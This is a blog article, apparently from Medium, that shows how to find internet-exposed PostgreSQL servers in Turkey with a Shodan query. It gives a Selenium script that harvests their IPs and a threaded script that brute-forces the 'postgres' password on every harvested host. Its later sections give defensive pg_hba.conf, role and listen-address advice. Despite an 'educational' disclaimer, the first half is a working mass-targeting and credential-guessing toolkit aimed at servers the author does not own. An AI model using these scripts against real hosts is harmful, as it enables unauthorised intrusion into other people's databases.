How to Hack a Database: Exploiting Open Internet Databases
How to Hack a Database: Exploiting Open Internet Databases
Disclaimer: This article is for educational purposes only. The intention is to raise awareness about security vulnerabilities and demonstrate the importance of implementing robust security measures. Always use these techniques responsibly and within legal boundaries. To protect yourself from black hat hackers, you can read my article on Database Security Best Practices and Solutions

Shodan is a powerful search engine that allows users to discover various devices and systems connected to the internet. It is widely used by cybersecurity professionals to identify vulnerabilities and secure systems. This article will guide you through the process of using Shodan to find internet-exposed databases and demonstrate a basic hacking scenario. Additionally, we will discuss essential security measures to protect your PostgreSQL database from brute force attacks.
Getting Started with Shodan
Shodan’s website (https://www.shodan.io/) is an excellent resource for finding exposed databases and other devices connected to the internet. By searching for specific terms, users can locate devices with certain characteristics or running specific software.
Performing Searches on Shodan
To use Shodan, you need to create an account and log in. Once logged in, you can perform searches using various filters and keywords. For instance, to find PostgreSQL databases exposed to the internet in Turkey, you can use the following search query:
product:PostgreSQL +fe_sendauth country:"TR"
This query looks for PostgreSQL servers with authentication enabled (fe_sendauth) located in Turkey (country:"TR").
Extracting IP Addresses
Using Selenium, we can automate the process of logging into Shodan, performing the search, and extracting the IP addresses of the exposed databases. Below is an example script that demonstrates this process:
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
import time
# ChromeDriver yolunu ve seçeneklerini ayarlayın
driver_path = r'C:\Users\kemal\Desktop\chromedriver.exe'
chrome_options = Options()
chrome_options.add_argument('--start-maximized') # Tarayıcıyı tam ekran başlatır
# WebDriver'ı başlat
service = Service(executable_path=driver_path)
driver = webdriver.Chrome(service=service, options=chrome_options)
try:
# Shodan giriş sayfasına gidin
login_url = 'https://account.shodan.io/login'
driver.get(login_url)
# Kullanıcı adı ve şifre alanlarının bulunması
wait = WebDriverWait(driver, 10)
username_field = wait.until(EC.presence_of_element_located((By.NAME, 'username')))
password_field = driver.find_element(By.NAME, 'password')
# Kullanıcı adı ve şifreyi girme
username_field.send_keys('***username***')
password_field.send_keys('***password***')
# Formu gönderme
password_field.send_keys(Keys.RETURN)
# Giriş işleminin başarılı olup olmadığını kontrol edin
wait.until(EC.title_contains("Shodan"))
print("Giriş başarılı!")
# Arama yapma
search_url = 'https://www.shodan.io/search?query=product%3APostgreSQL+%2Bfe_sendauth+country%3A%22TR%22'
driver.get(search_url)
# IP adreslerini toplamak için boş bir liste oluşturun
ip_addresses = []
while True:
try:
# Arama sonuçlarının yüklenmesini bekleyin
wait.until(EC.presence_of_all_elements_located((By.CSS_SELECTOR, 'a.title.text-dark')))
# IP adreslerini toplama
ip_elements = driver.find_elements(By.CSS_SELECTOR, 'a.title.text-dark')
ip_addresses.extend([ip.text for ip in ip_elements])
# "Result limit reached" mesajını kontrol edin
if "Result limit reached" in driver.page_source:
print("Sonuç limiti aşıldı.")
break
# "Next" düğmesini bulun ve tıklayın, eğer varsa
try:
next_button = driver.find_element(By.XPATH, "//a[contains(text(),'Next')]")
if next_button:
next_button.click()
time.sleep(3) # Yeni sayfanın yüklenmesini bekleyin
else:
print("Tüm sayfalar toplandı.")
break
except:
print("Tüm sayfalar toplandı veya 'Next' düğmesi bulunamadı.")
break
except TimeoutException:
print("Sonuç limiti aşıldı veya sayfa yüklenemedi.")
break
# IP adreslerini bir dosyaya yazma
with open('ip_addresses.txt', 'w') as file:
for ip in ip_addresses:
file.write(ip + '\n')
print("IP adresleri ip_addresses.txt dosyasına yazıldı.")
finally:
# Tarayıcıyı kapatmadan önce birkaç saniye daha bekleyin
time.sleep(10)
driver.quit()
Brute Force Attack Simulation
Once you have collected the IP addresses, you can simulate a brute force attack to demonstrate the importance of securing your database. Below is an example script to generate all possible 6-character passwords consisting of lowercase letters and digits, and then attempt to insert them into a PostgreSQL database:
import psycopg2
from psycopg2 import OperationalError
import itertools
import string
from concurrent.futures import ThreadPoolExecutor, as_completed
# IP adreslerinin bulunduğu dosya yolu
file_path = "C:\\Users\\kemal\\Desktop\\ip_addresses.txt"
# PostgreSQL portu
port = 5432
# Test etmek için kullanılan kullanıcı adı (örnek olarak "postgres" kullanıyoruz)
user = "postgres"
# Şifre karakter seti ve uzunluğu
characters = string.ascii_lowercase + string.digits
max_length = 6
def generate_passwords(characters, max_length):
"""Belirli karakter setleri ve uzunlukta şifre kombinasyonları üretir."""
for length in range(1, max_length + 1):
for password in itertools.product(characters, repeat=length):
yield ''.join(password)
def test_password(ip_address, password):
"""Verilen IP adresi ve şifre kombinasyonu için bağlantıyı test eder."""
try:
conn = psycopg2.connect(
dbname="postgres",
user=user,
password=password,
host=ip_address,
port=port
)
print(f"Başarıyla bağlanıldı: IP: {ip_address}, Şifre: {password}")
conn.close()
return True
except OperationalError as e:
print(f"Bağlantı hatası: IP: {ip_address}, Şifre: {password}, Hata: {e}")
return False
except Exception as e:
print(f"Beklenmeyen hata: IP: {ip_address}, Şifre: {password}, Hata: {e}")
return False
def test_ip(ip_address):
"""Her IP adresi için tüm şifreleri test eder."""
print(f"Testing IP: {ip_address}")
for password in generate_passwords(characters, max_length):
if test_password(ip_address, password):
return ip_address, password
return ip_address, None
# IP adreslerini dosyadan UTF-8 kodlaması ile oku
with open(file_path, "r", encoding="utf-8") as file:
ip_addresses = [line.strip() for line in file]
# Paralel işlem için ThreadPoolExecutor kullanarak IP adreslerini test et
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(test_ip, ip_address): ip_address for ip_address in ip_addresses}
for future in as_completed(futures):
ip_address, password = future.result()
if password:
print(f"Başarıyla bağlanıldı: IP: {ip_address}, Şifre: {password}")
else:
print(f"Başarıyla bağlanılamadı: IP: {ip_address}")
Securing Your PostgreSQL Database
To protect your PostgreSQL database from brute force attacks, there are several essential security measures you should implement:
IP Restrictions
One of the most effective ways to secure your PostgreSQL database is to restrict access to trusted IP addresses. This can be done by configuring the pg_hba.conf file. Here is an example configuration:
# TYPE DATABASE USER ADDRESS METHOD
host all all 192.168.1.0/24 scram-sha-256
host all all 10.0.0.0/8 scram-sha-256
host all all 127.0.0.1/32 scram-sha-256
host all all ::1/128 scram-sha-256
In this configuration, only IP addresses within the specified ranges can connect to the PostgreSQL database. However, it is crucial to ensure that the authorized IP address ranges are not too large, as this can unnecessarily increase the risks. Restricting IP address ranges minimizes exposure and enhances security.
Typical IPv4 Subnets
To better understand IP address ranges, here is a table providing typical subnets for IPv4:
Below is a table providing typical subnets for IPv4.
Prefix size Network mask Usable hosts per subnet
/1 128.0.0.0 2,147,483,646
/2 192.0.0.0 1,073,741,822
/3 224.0.0.0 536,870,910
/4 240.0.0.0 268,435,454
/5 248.0.0.0 134,217,726
/6 252.0.0.0 67,108,862
/7 254.0.0.0 33,554,430
Class A
/8 255.0.0.0 16,777,214
/9 255.128.0.0 8,388,606
/10 255.192.0.0 4,194,302
/11 255.224.0.0 2,097,150
/12 255.240.0.0 1,048,574
/13 255.248.0.0 524,286
/14 255.252.0.0 262,142
/15 255.254.0.0 131,070
Class B
/16 255.255.0.0 65,534
/17 255.255.128.0 32,766
/18 255.255.192.0 16,382
/19 255.255.224.0 8,190
/20 255.255.240.0 4,094
/21 255.255.248.0 2,046
/22 255.255.252.0 1,022
/23 255.255.254.0 510
Class C
/24 255.255.255.0 254
/25 255.255.255.128 126
/26 255.255.255.192 62
/27 255.255.255.224 30
/28 255.255.255.240 14
/29 255.255.255.248 6
/30 255.255.255.252 2
/31 255.255.255.254 0
/32 255.255.255.255 0
Using Specific Database and Users
To limit access to specific databases and users, it is recommended to avoid using the keyword “all” in the pg_hba.conf file. Instead, restrict connections to specific users and databases
CREATE ROLE admin WITH
LOGIN
NOSUPERUSER
NOINHERIT
CREATEDB
CREATEROLE
NOREPLICATION
CONNECTION LIMIT 10
PASSWORD 'secure_password'
VALID UNTIL '2024-04-19 17:00:00+03';
CREATE ROLE "user1" IN ROLE "admin";
ALTER USER "user1" LOGIN;
Configure the pg_hba.conf file as follows:
# TYPE DATABASE USER ADDRESS METHOD
host clusterdb admin 10.80.***.**/21 scram-sha-256
Preventing Remote Connections for Superusers
To enhance security, prevent superuser remote connections. Allow superusers to connect locally only, using peer authentication:
# TYPE DATABASE USER ADDRESS METHOD
host all postgres 127.0.0.1/32 scram-sha-256
Additionally, avoid using * or 0.0.0.0 for listen_addresses:
SHOW listen_addresses;
Output:
listen_addresses
------------------
10.70.***.**
Conclusion
In conclusion, securing your PostgreSQL database against potential vulnerabilities is crucial in today’s digital landscape. By restricting IP address ranges, specifying user and database permissions, and preventing remote connections for superusers, you can significantly enhance the security of your database. It’s important to recognize that even with these measures, databases are still vulnerable to brute force attacks. These attacks, which attempt to guess passwords by trying all possible combinations, can be mitigated by using strong, complex passwords and implementing additional security measures like rate limiting and account lockouts. Looking ahead, the advent of quantum computing presents both a challenge and an opportunity for cybersecurity. Quantum computers, with their ability to process information at unprecedented speeds, could potentially break current encryption methods. However, they also hold the promise of developing new, more secure cryptographic techniques. As we prepare for this future, staying informed about advancements in quantum computing and continuously updating our security practices will be essential to protect sensitive data. By proactively addressing these security concerns and anticipating future developments, you can better safeguard your PostgreSQL database and ensure the integrity and confidentiality of your data. For more detailed and technical articles like this, keep following our blog on Medium. If you have any questions or need further assistance, feel free to reach out in the comments below and directly.
← PostgreSQL Blog